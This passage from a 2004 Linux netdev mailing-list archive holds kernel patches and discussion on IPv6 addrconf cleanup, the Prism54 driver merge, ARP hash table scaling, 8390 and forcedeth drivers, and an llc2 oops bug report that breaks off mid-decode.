NLMSG_DATA(nlh); - ifm->ifa_family = AF_INET6; - ifm->ifa_prefixlen = 128; - ifm->ifa_flags = IFA_F_PERMANENT; - ifm->ifa_scope = RT_SCOPE_UNIVERSE; - if (ipv6_addr_scope(&ifmca->mca_addr)&IFA_SITE) - ifm->ifa_scope = RT_SCOPE_SITE; - ifm->ifa_index = ifmca->idev->dev->ifindex; - RTA_PUT(skb, IFA_ADDRESS, 16, &ifmca->mca_addr); - ci.cstamp = (__u32)(TIME_DELTA(ifmca->mca_cstamp, INITIAL_JIFFIES) / HZ - * 100 + TIME_DELTA(ifmca->mca_cstamp, INITIAL_JIFFIES) % HZ - * 100 / HZ); - ci.tstamp = (__u32)(TIME_DELTA(ifmca->mca_tstamp, INITIAL_JIFFIES) / HZ - * 100 + TIME_DELTA(ifmca->mca_tstamp, INITIAL_JIFFIES) % HZ - * 100 / HZ); - ci.ifa_prefered = INFINITY_LIFE_TIME; - ci.ifa_valid = INFINITY_LIFE_TIME; - RTA_PUT(skb, IFA_CACHEINFO, sizeof(ci), &ci); - nlh->nlmsg_len = skb->tail - b; - return skb->len; - -nlmsg_failure: -rtattr_failure: - skb_trim(skb, b - skb->data); - return -1; -} - -static int inet6_fill_ifacaddr(struct sk_buff *skb, struct ifacaddr6 *ifaca, - u32 pid, u32 seq, int event) -{ - struct ifaddrmsg *ifm; - struct nlmsghdr *nlh; - struct ifa_cacheinfo ci; - unsigned char *b = skb->tail; - - nlh = NLMSG_PUT(skb, pid, seq, event, sizeof(*ifm)); - if (pid) nlh->nlmsg_flags |= NLM_F_MULTI; - ifm = NLMSG_DATA(nlh); - ifm->ifa_family = AF_INET6; - ifm->ifa_prefixlen = 128; - ifm->ifa_flags = IFA_F_PERMANENT; - ifm->ifa_scope = RT_SCOPE_UNIVERSE; - if (ipv6_addr_scope(&ifaca->aca_addr)&IFA_SITE) - ifm->ifa_scope = RT_SCOPE_SITE; - ifm->ifa_index = ifaca->aca_idev->dev->ifindex; - RTA_PUT(skb, IFA_ADDRESS, 16, &ifaca->aca_addr); - ci.cstamp = (__u32)(TIME_DELTA(ifaca->aca_cstamp, INITIAL_JIFFIES) / HZ - * 100 + TIME_DELTA(ifaca->aca_cstamp, INITIAL_JIFFIES) % HZ - * 100 / HZ); - ci.tstamp = (__u32)(TIME_DELTA(ifaca->aca_tstamp, INITIAL_JIFFIES) / HZ - * 100 + TIME_DELTA(ifaca->aca_tstamp, INITIAL_JIFFIES) % HZ - * 100 / HZ); - ci.ifa_prefered = INFINITY_LIFE_TIME; - ci.ifa_valid = INFINITY_LIFE_TIME; - RTA_PUT(skb, IFA_CACHEINFO, sizeof(ci), &ci); - nlh->nlmsg_len = skb->tail - b; - return skb->len; - -nlmsg_failure: -rtattr_failure: - skb_trim(skb, b - skb->data); - return -1; -} - static int inet6_dump_ifaddr(struct sk_buff *skb, struct netlink_callback *cb) { int idx, ip_idx; @@ -2635,8 +2561,6 @@ struct net_device *dev; struct inet6_dev *idev = NULL; struct inet6_ifaddr *ifa; - struct ifmcaddr6 *ifmca; - struct ifacaddr6 *ifaca; s_idx = cb->args[0]; s_ip_idx = ip_idx = cb->args[1]; From mcgrof@studorgs.rutgers.edu Sat Mar 13 14:15:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Mar 2004 14:15:33 -0800 (PST) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2DMFUKO003039 for ; Sat, 13 Mar 2004 14:15:30 -0800 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 7C2DBF9D33; Sat, 13 Mar 2004 17:15:29 -0500 (EST) Date: Sat, 13 Mar 2004 17:15:29 -0500 From: "Luis R. Rodriguez" To: Linux kernel mailing list Cc: prism54-devel@prism54.org, netdev@oss.sgi.com, jgarzik@redhat.com Subject: Prism54 in 2.6.4-bk2 Message-ID: <20040313221529.GC32439@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Linux kernel mailing list , prism54-devel@prism54.org, netdev@oss.sgi.com, jgarzik@redhat.com References: <5.1.0.14.2.20040313180709.00ab4250@pop.t-online.de> <1079199572.7111.0.camel@lapy.tuxslare.org> <20040313203058.GY32439@ruslug.rutgers.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="T4IYkFBVPN84tP7K" Content-Disposition: inline In-Reply-To: <20040313203058.GY32439@ruslug.rutgers.edu> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 3983 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev Content-Length: 2626 Lines: 75 --T4IYkFBVPN84tP7K Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Mar 13, 2004 at 03:30:58PM -0500, Luis R. Rodriguez wrote: > On Sat, Mar 13, 2004 at 05:39:32PM +0000, Andr? Ventura Lemos wrote: > > ChangeSet@1.1608.81.1, 2004-03-12 12:55:33-05:00, jgarzik@redhat.com > > [wireless] Add new Prism54 wireless driver. > >=20 > > :-) > >=20 > > On Sat, 2004-03-13 at 17:08, Margit Schubert-While wrote: > > > In case nobody noticed, the driver is in 2.6.4-bk2 ! > > >=20 > > > Margit >=20 > Hmm. Now what? Should we create a new set of automated patchsets against = the latest kernel > snapshot? Or just not worry about that and keep on happilly with our stab= le kernel > patches? >=20 > The prism54 driver snapshot that went into bk2 could be marked as our > first testing snapshot... If so, we could also start a new ChangeLog. >=20 > Ideas? >=20 > Luis I just checked out the bk2 snapshot and its diffs with our latest prism54 tree. Here is the diff: http://prism54.org/~mcgrof/bk2-up.diff It seems jgarzik took a patch before 2004-03-09 changes and just nuked WDS code. It's great that it's already on some official kernel snapshot=20 patch but prism54 driver project is a very active project and I think someone jumped the gun. We were preparing the driver for proper integration per the nevdev list discussion. Anyway, now onto dealing with it. Regarding WDS on prism54: on the netdev list we discussed this but no one got back to me as to whether we should really just nuke this code. Prism54 driver source *does* include WDS support because hey, the firmware does. Why wouldn't it go in the driver? We haven't given WDS much though anyway since it's also been low priority on our TODO list. Is it already agreed among kdevelopers that even if certain chipsets support WDS at the hardware/firmware level that another layer is going to be used for it's support? Now that prism54 driver is in bk2 if we (prism54 team) want to submit patches for it, should we always patch against the latest bk snapshot? Oh and if you get messages telling you your post is pending approval on the prism54 list because you're not registered, don't worry, we're quick. --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --T4IYkFBVPN84tP7K Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAU4gBat1JN+IKUl4RApJSAJwJK3PDlK8aa7uWAY3AMSGjfRn+rgCcD+Hs 3Lrmd7V9BpGYspRdky6bcJw= =kPvv -----END PGP SIGNATURE----- --T4IYkFBVPN84tP7K-- From anton@samba.org Sat Mar 13 15:32:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Mar 2004 15:33:17 -0800 (PST) Received: from lists.samba.org (dp.samba.org [66.70.73.150]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2DNWsKO004593 for ; Sat, 13 Mar 2004 15:32:54 -0800 Received: by lists.samba.org (Postfix, from userid 504) id ABDA82C0EA; Sat, 13 Mar 2004 23:33:02 +0000 (GMT) Date: Sun, 14 Mar 2004 10:32:22 +1100 From: Anton Blanchard To: Tim Gardner Cc: netdev@oss.sgi.com Subject: Re: ARP does not scale Message-ID: <20040313233222.GB19737@krispykreme> References: <200403131129.51083.timg@tpi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200403131129.51083.timg@tpi.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 3984 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: anton@samba.org Precedence: bulk X-list: netdev Content-Length: 6654 Lines: 201 [moving this to netdev] > ARP has hash table and garbage collection scalability limitations. > > Please find attached a patch for 2.4.24 (also works for 2.4.25) that allows > you to choose the size of your ARP hash table. Simply choosing the ARP hash > table size that suits your network can cut the ARP list search time by an > order of magnitude. For example, the default hash table size is 32. My > network has over 1000 nodes. If you assume the hash function spreads those > evenly, then there are approximately 31 hash collisions per bucket. > Increasing the hash table size to 512 cuts down the collisions to > approximately 2 per bucket. It would be nice to fix this properly in 2.6, a CONFIG option for this sort of thing is painful for distros. Check out net/ipv4/tcp.c and how it makes an effort to scale tcp_ehash and tcp_bhash with memory and also allows an override with a cmdline option thash_entries. Anton > Related to scalability is the ARP entry garbage collector. It is currently > coded such that it runs at periodic intervals and processes all ARP entries > in all hash table buckets all within one invocation. As the number of ARP > entries becomes large, the amount of time spent processing all of the ARP > entries also becomes large. At a certain point I think it will begin to cause > significant jitter in packet delivery times. In an effort to smooth out the > garbage collector impact I've recoded it to only process one hash bucket per > invocation. The garbage collector resets its timer so that it processes all > buckets at least once every 60 seconds. > > rtg > > <--SNIP--> > > diff -r -u --new-file linux-2.4.24/Documentation/Configure.help > linux-2.4.24.arp/Documentation/Configure.help > --- linux-2.4.24/Documentation/Configure.help 2004-03-12 07:34:37.000000000 > -0700 > +++ linux-2.4.24.arp/Documentation/Configure.help 2004-03-12 > 09:07:01.000000000 -0700 > @@ -6921,6 +6921,13 @@ > > If unsure, say N. > > +ARP hash table size power of 2 > +CONFIG_NEIGH_NUM_HASHBITS > + This option defines the size of the ARP hash table for each protocol. The > default size of 5 > + bits (32) is adequate for small LANs. Larger LANs may have enough ARP > entries that there are > + multiple hash table collisions. In that case, increasing the number of hash > table entries > + improves ARP entry access performance at the expense of some RAM. > + > Packet socket > CONFIG_PACKET > The Packet protocol is used by applications which communicate > diff -r -u --new-file linux-2.4.24/include/net/neighbour.h > linux-2.4.24.arp/include/net/neighbour.h > --- linux-2.4.24/include/net/neighbour.h 2004-03-12 07:34:44.000000000 -0700 > +++ linux-2.4.24.arp/include/net/neighbour.h 2004-03-12 09:35:07.000000000 > -0700 > @@ -128,7 +128,7 @@ > u8 key[0]; > }; > > -#define NEIGH_HASHMASK 0x1F > +#define NEIGH_HASHMASK ((1< #define PNEIGH_HASHMASK 0xF > > /* > @@ -166,6 +166,7 @@ > struct tasklet_struct gc_task; > struct neigh_statistics stats; > struct neighbour *hash_buckets[NEIGH_HASHMASK+1]; > + int curr_hash_bucket; > struct pneigh_entry *phash_buckets[PNEIGH_HASHMASK+1]; > }; > > diff -r -u --new-file linux-2.4.24/net/Config.in > linux-2.4.24.arp/net/Config.in > --- linux-2.4.24/net/Config.in 2004-03-12 07:33:30.000000000 -0700 > +++ linux-2.4.24.arp/net/Config.in 2004-03-12 09:05:10.000000000 -0700 > @@ -8,6 +8,8 @@ > bool ' Packet socket: mmapped IO' CONFIG_PACKET_MMAP > fi > > +int 'ARP hash table size power of 2' CONFIG_NEIGH_NUM_HASHBITS 5 > + > tristate 'Netlink device emulation' CONFIG_NETLINK_DEV > > bool 'Network packet filtering (replaces ipchains)' CONFIG_NETFILTER > diff -r -u --new-file linux-2.4.24/net/core/neighbour.c > linux-2.4.24.arp/net/core/neighbour.c > --- linux-2.4.24/net/core/neighbour.c 2004-03-12 07:33:13.000000000 -0700 > +++ linux-2.4.24.arp/net/core/neighbour.c 2004-03-12 09:36:35.000000000 -0700 > @@ -566,9 +566,8 @@ > static void SMP_TIMER_NAME(neigh_periodic_timer)(unsigned long arg) > { > struct neigh_table *tbl = (struct neigh_table*)arg; > + struct neighbour *n, **np; > unsigned long now = jiffies; > - int i; > - > > write_lock(&tbl->lock); > > @@ -583,46 +582,48 @@ > p->reachable_time = neigh_rand_reach_time(p->base_reachable_time); > } > > - for (i=0; i <= NEIGH_HASHMASK; i++) { > - struct neighbour *n, **np; > + tbl->curr_hash_bucket &= NEIGH_HASHMASK; > + np = &tbl->hash_buckets[tbl->curr_hash_bucket++]; > > - np = &tbl->hash_buckets[i]; > - while ((n = *np) != NULL) { > - unsigned state; > - > - write_lock(&n->lock); > - > - state = n->nud_state; > - if (state&(NUD_PERMANENT|NUD_IN_TIMER)) { > - write_unlock(&n->lock); > - goto next_elt; > - } > + while ((n = *np) != NULL) { > + unsigned state; > > - if ((long)(n->used - n->confirmed) < 0) > - n->used = n->confirmed; > + write_lock(&n->lock); > > - if (atomic_read(&n->refcnt) == 1 && > - (state == NUD_FAILED || now - n->used > n->parms->gc_staletime)) { > - *np = n->next; > - n->dead = 1; > - write_unlock(&n->lock); > - neigh_release(n); > - continue; > - } > + state = n->nud_state; > + if (state&(NUD_PERMANENT|NUD_IN_TIMER)) { > + write_unlock(&n->lock); > + goto next_elt; > + } > > - if (n->nud_state&NUD_REACHABLE && > - now - n->confirmed > n->parms->reachable_time) { > - n->nud_state = NUD_STALE; > - neigh_suspect(n); > - } > + if ((long)(n->used - n->confirmed) < 0) > + n->used = n->confirmed; > + > + if (atomic_read(&n->refcnt) == 1 && > + (state == NUD_FAILED || now - n->used > n->parms->gc_staletime)) { > + *np = n->next; > + n->dead = 1; > write_unlock(&n->lock); > + neigh_release(n); > + continue; > + } > > -next_elt: > - np = &n->next; > + if (n->nud_state&NUD_REACHABLE && > + now - n->confirmed > n->parms->reachable_time) { > + n->nud_state = NUD_STALE; > + neigh_suspect(n); > } > + write_unlock(&n->lock); > + > +next_elt: > + np = &n->next; > } > > - mod_timer(&tbl->gc_timer, now + tbl->gc_interval); > + /* > + * Cycle through all hash buckets every 60 seconds. > + */ > + mod_timer(&tbl->gc_timer, now+((HZ*60)/(NEIGH_HASHMASK+1))); > + > write_unlock(&tbl->lock); > } > > > -- > Tim Gardner - timg@tpi.com > www.tpi.com 406-443-5357 > > > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ From timg@mailgate.tpi.com Sat Mar 13 19:56:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Mar 2004 19:56:31 -0800 (PST) Received: from mailgate.tpi.com (ftp.tpi.com [198.107.51.136]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2E3uTKO011850 for ; Sat, 13 Mar 2004 19:56:29 -0800 Received: from tim (TIM.tpi.com [10.0.2.3]) by mailgate.tpi.com (Post.Office MTA v3.5.3 release 223 ID# 0-60229U100L100S0V35) with ESMTP id com; Sat, 13 Mar 2004 19:56:25 -0800 Content-Type: text/plain; charset="iso-8859-1" From: Tim Gardner Reply-To: timg@tpi.com Organization: TriplePoint, Inc. To: Anton Blanchard Subject: Re: ARP does not scale Date: Sat, 13 Mar 2004 20:56:24 -0700 User-Agent: KMail/1.4.3 Cc: netdev@oss.sgi.com References: <200403131129.51083.timg@tpi.com> <20040313233222.GB19737@krispykreme> In-Reply-To: <20040313233222.GB19737@krispykreme> MIME-Version: 1.0 Message-Id: <200403132056.24417.timg@tpi.com> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2E3uTKO011850 X-archive-position: 3985 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: timg@tpi.com Precedence: bulk X-list: netdev Content-Length: 1075 Lines: 33 On Saturday 13 March 2004 16:32, Anton Blanchard wrote: > [moving this to netdev] Anton, I figured out how to subscribe. > It would be nice to fix this properly in 2.6, a CONFIG option for this sort > of thing is painful for distros. > > Check out net/ipv4/tcp.c and how it makes an effort to scale tcp_ehash and > tcp_bhash with memory and also allows an override with a cmdline option > thash_entries. > > Anton > I checked out how tcp_ehash and tcp_bhash auto-size based on the amount of RAM. I think one can usually make the same assumption about the relative number of ARP entries. I say usually because I have some core routers that have over a thousand ARP entries. In that case I would like to override the auto-size calculation so that I can force enough hash buckets such that there is never (or rarely) a hash collision. How about a compromise. Leave in the config option, but default it to 0 which enables the auto-size algorithm. Otherwise, use the size specified in the config option. rtg -- Tim Gardner - timg@tpi.com www.tpi.com 406-443-5357 From davem@redhat.com Sat Mar 13 22:54:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Mar 2004 22:54:05 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2E6s1KO017864 for ; Sat, 13 Mar 2004 22:54:01 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2E6qt07004509; Sun, 14 Mar 2004 01:52:55 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2E6qtS31488; Sun, 14 Mar 2004 01:52:55 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2E6qgeF030636; Sun, 14 Mar 2004 01:52:42 -0500 Date: Sat, 13 Mar 2004 22:52:53 -0800 From: "David S. Miller" To: Adrian Bunk Cc: roque@di.fc.ul.pt, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com Subject: Re: [2.6 patch] IPV6 addrconf.c: remove unused functions and variables Message-Id: <20040313225253.00b55b4d.davem@redhat.com> In-Reply-To: <20040313193959.GB14833@fs.tum.de> References: <20040313193959.GB14833@fs.tum.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3986 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 334 Lines: 11 On Sat, 13 Mar 2004 20:39:59 +0100 Adrian Bunk wrote: > The patch > > [IPV6]: Do not report {multi,any}cast in inet6_dump_ifaddr(). > > in Linus' tree removed the only uses of two functions and two variables > and therefore caused the following compile warnings: I know, I have this pending in my tree already. From herbert@gondor.apana.org.au Sat Mar 13 22:54:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Mar 2004 22:54:37 -0800 (PST) Received: from arnor.apana.org.au (c211-30-229-77.rivrw4.nsw.optusnet.com.au [211.30.229.77]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2E6sTKO017907 for ; Sat, 13 Mar 2004 22:54:30 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B2PV0-0000Px-00; Sun, 14 Mar 2004 17:53:26 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B2PUm-0005zI-00; Sun, 14 Mar 2004 17:53:12 +1100 Date: Sun, 14 Mar 2004 17:53:12 +1100 To: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [8390] Do not use dev->name before register_netdev Message-ID: <20040314065312.GA22999@gondor.apana.org.au> References: <20040313025859.GA8186@gondor.apana.org.au> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="FL5UXtIhxfXey3p5" Content-Disposition: inline In-Reply-To: <20040313025859.GA8186@gondor.apana.org.au> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 3987 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 1316 Lines: 40 --FL5UXtIhxfXey3p5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Sat, Mar 13, 2004 at 01:58:59PM +1100, herbert wrote: > > This patch replaces/removes all uses of dev->name in 8390 drivers. > As it is, these drivers will do printks or allocate resources with > the name eth%d. I forgot to export register_ei_netdev for the modules. Here is a patch on top of the last one which does this. -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --FL5UXtIhxfXey3p5 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p Index: kernel-2.5/drivers/net/8390.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/8390.c,v retrieving revision 1.2 diff -u -r1.2 8390.c --- kernel-2.5/drivers/net/8390.c 13 Mar 2004 02:27:30 -0000 1.2 +++ kernel-2.5/drivers/net/8390.c 14 Mar 2004 06:51:59 -0000 @@ -1148,6 +1148,7 @@ EXPORT_SYMBOL(ei_tx_timeout); EXPORT_SYMBOL(NS8390_init); EXPORT_SYMBOL(__alloc_ei_netdev); +EXPORT_SYMBOL(register_ei_netdev); #if defined(MODULE) --FL5UXtIhxfXey3p5-- From A.Verweij2@ewi.tudelft.nl Sun Mar 14 04:01:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Mar 2004 04:01:17 -0800 (PST) Received: from mailhst2.its.tudelft.nl (mailhst2.its.tudelft.nl [130.161.34.250]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2EC1CKO028186 for ; Sun, 14 Mar 2004 04:01:13 -0800 Received: from elektron.its.tudelft.nl (elektron.its.tudelft.nl [130.161.33.15]) by mailhst2.its.tudelft.nl (8.11.6p2/8.11.6) with ESMTP id i2EC19g24107; Sun, 14 Mar 2004 13:01:10 +0100 (MET) Received: from localhost (verwei90@localhost) by elektron.its.tudelft.nl (8.9.3 (PHNE_26305)/8.9.3) with ESMTP id NAA00230; Sun, 14 Mar 2004 13:01:09 +0100 (MET) Date: Sun, 14 Mar 2004 13:01:09 +0100 (MET) From: Arjen Verweij Reply-To: a.verweij@student.tudelft.nl To: Carl-Daniel Hailfinger cc: netdev@oss.sgi.com Subject: Re: [Forcedeth] Wake-on-LAN support? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3988 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: A.Verweij2@ewi.tudelft.nl Precedence: bulk X-list: netdev Content-Length: 2366 Lines: 75 Hello again, I added a section on my nforce2 woes website that describes how to play with Wake-on-LAN. http://atlas.et.tudelft.nl/verwei90/nforce2/wol.html Regards, Arjen On Sat, 28 Feb 2004, Arjen Verweij wrote: > Version 0.23 of forcedeth probably adds nice irq quirk checking for when > the kernel is running, but when I do evil stuff, like putting the NIC to > sleep (hard setting it to D3 with pci-config), the kernel keeps printing > one or more of the debug messages (when halting) about irqs that were > added and will no longer shut down. > > My current fix is replacing the v0.23 from 2.6.3 with the v0.18. v0.18 > also complains about the receiver remaining busy, but at least the > shutdown process is continued. > > What I still don't understand is why I need a device driver at all to set > the power state of the NIC. If I unload forcedeth before shutting down, I > can set D3 all I want, but the machine will not listen to magic packets. > > I'll add a section to my page about nforce2-c1-disconnect related lockups > about how to get functional WOL, and post the link here when it's ready. I > feel that this is useful information, because I cannot get a cheap card > with a WOL cable for my mobo, since there is no WOL connector *sigh* > > Regards, > > Arjen > > > On Tue, 20 Jan 2004, Carl-Daniel Hailfinger wrote: > > > Arjen Verweij wrote: > > > L.S., > > > > > > First, many thanks for your efforts. The driver works beautifully here, > > > with 2.4.23 and 2.6.0-test11 alike. > > > > > > I was wondering if it is possible to add Wake-on-LAN support to the > > > driver. NVidia claims their binary driver supports WOL, but it doesn't > > > work one bit. It is possible to look into this? > > > > > > I have filed a bugtracker with the ACPI people, but they are somewhat > > > understandably preoccupied with fixing laptop woes. > > > > > > URL: > > > http://bugzilla.kernel.org/show_bug.cgi?id=1636 > > > > > > I am able to enable WOL at shutdown with pci-config from scyld.com, but > > > this is obviously an ugly fix. > > > > Hmmm... normally I would say enabling WOL is the job of the BIOS. > > > > Comments anyone? > > > > Setting Wake-on-LAN patterns will be supported in a future version of > > forcedeth but right now I'm swamped with university work. > > > > > > Carl-Daniel > > -- > > http://www.hailfinger.org/ > > > > > > > > From jorgepablocosta@tutopia.com Sun Mar 14 07:25:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Mar 2004 07:26:16 -0800 (PST) Received: from servidor01.empresa.com.ar (168-226-241-230.mrse.com.ar [168.226.241.230]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2EFPpKO008875 for ; Sun, 14 Mar 2004 07:25:53 -0800 Subject: clave datel2000 Date: Sun, 14 Mar 2004 12:24:26 -0300 Message-ID: <762F16A2FA241049A0FC3E56401D4224196B@servidor01.empresa.com.ar> X-MS-Has-Attach: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MS-TNEF-Correlator: Thread-Topic: clave datel2000 Thread-Index: AcQJ2J66uZbIFmLsQkydFZh17wdsOQ== From: "Jorge Pablo Costa" X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0 content-class: urn:content-classes:message To: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2EFPpKO008875 X-archive-position: 3989 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jorgepablocosta@tutopia.com Precedence: bulk X-list: netdev Content-Length: 100 Lines: 7 Hola: se me rompio el flopy de la llave de la datel 2000 me lo podran facilitar? Gracias Pablo From jochen@scram.de Sun Mar 14 08:50:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Mar 2004 08:50:06 -0800 (PST) Received: from mail2.scram.de (postfix@mail2.scram.de [195.226.127.112]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2EGo0KO014258 for ; Sun, 14 Mar 2004 08:50:03 -0800 Received: from [192.168.95.244] (p5080DE4A.dip.t-dialin.net [80.128.222.74]) by mail2.scram.de (Postfix) with ESMTP id 8B5918136; Sun, 14 Mar 2004 17:49:57 +0100 (CET) Date: Sun, 14 Mar 2004 17:49:50 +0100 (CET) From: Jochen Friedrich X-X-Sender: jochen@localhost To: Linux Kernel Cc: netdev@oss.sgi.com Subject: [bug 2.6.4] llc2 oops Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3990 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jochen@scram.de Precedence: bulk X-list: netdev Content-Length: 2729 Lines: 65 Hi, looks like llc_ui_bind forgets to set llc->dev. The combination: bind (fd, &sllc, sizeof (sllc)); connect(fd, &dllc, sizeof(dllc)); produces the following oops for me: Unable to handle kernel paging request at virtual address 00000000000000c8 llc-linux(18496): Oops 0 pc = [] ra = [] ps = 0000 Not tainted Using defaults from ksymoops -t elf64-alpha -a alpha v0 = 0000000000000000 t0 = fffffffc00582cba t1 = fffffffc00582cba t2 = 0000000004030201 t3 = 0000000000582c00 t4 = 0000000004030201 t5 = 0000060504030201 t6 = fffffc001389fe19 t7 = fffffc001389c000 s0 = fffffc002bfc0e00 s1 = ffffffffffffffc8 s2 = fffffc001389fe88 s3 = ffffffffffffffdb s4 = fffffc001f56e8c0 s5 = fffffc0025a1e9c0 s6 = 000000011ffffba0 a0 = fffffc002bfc0e00 a1 = 00000000000000c8 a2 = fffffc001389fe90 a3 = 0000000000582cba a4 = ffffffffffffffff a5 = 0000000000000000 t8 = fffffc001389fe1d t9 = 00000023d3f41186 t10= 0000060504030201 t11= fffffc001389fe94 pv = fffffffc0057e360 at = fffffc001f56e8c0 gp = fffffffc00594068 sp = fffffc001389fde8 Trace:fffffc00011607ba fffffc000115d940 fffffc0001012c9c Code: b27e0030 2c3e0034 2c5e0031 48b20d45 2cd20005 487204c3 <2c910000> 44650403 >>RA; fffffffc00582df0 <[llc2]llc_ui_connect+170/220> >>PC; fffffffc00576194 <[llc2]llc_establish_connectio+84/440> <===== Trace; fffffc00011607ba Trace; fffffc000115d940 Trace; fffffc0001012c9c Code; fffffffc0057617c <[llc2]llc_establish_connectio+6c/440> 0000000000000000 <_PC>: Code; fffffffc0057617c <[llc2]llc_establish_connectio+6c/440> 0: 30 00 7e b2 stl a3,48(sp) Code; fffffffc00576180 <[llc2]llc_establish_connectio+70/440> 4: 34 00 3e 2c ldq_u t0,52(sp) Code; fffffffc00576184 <[llc2]llc_establish_connectio+74/440> 8: 31 00 5e 2c ldq_u t1,49(sp) Code; fffffffc00576188 <[llc2]llc_establish_connectio+78/440> c: 45 0d b2 48 extlh t4,a2,t4 Code; fffffffc0057618c <[llc2]llc_establish_connectio+7c/440> 10: 05 00 d2 2c ldq_u t5,5(a2) Code; fffffffc00576190 <[llc2]llc_establish_connectio+80/440> 14: c3 04 72 48 extll t2,a2,t2 Code; fffffffc00576194 <[llc2]llc_establish_connectio+84/440> <===== 18: 00 00 91 2c ldq_u t3,0(a1) <===== Code; fffffffc00576198 <[llc2]llc_establish_connectio+88/440> 1c: 03 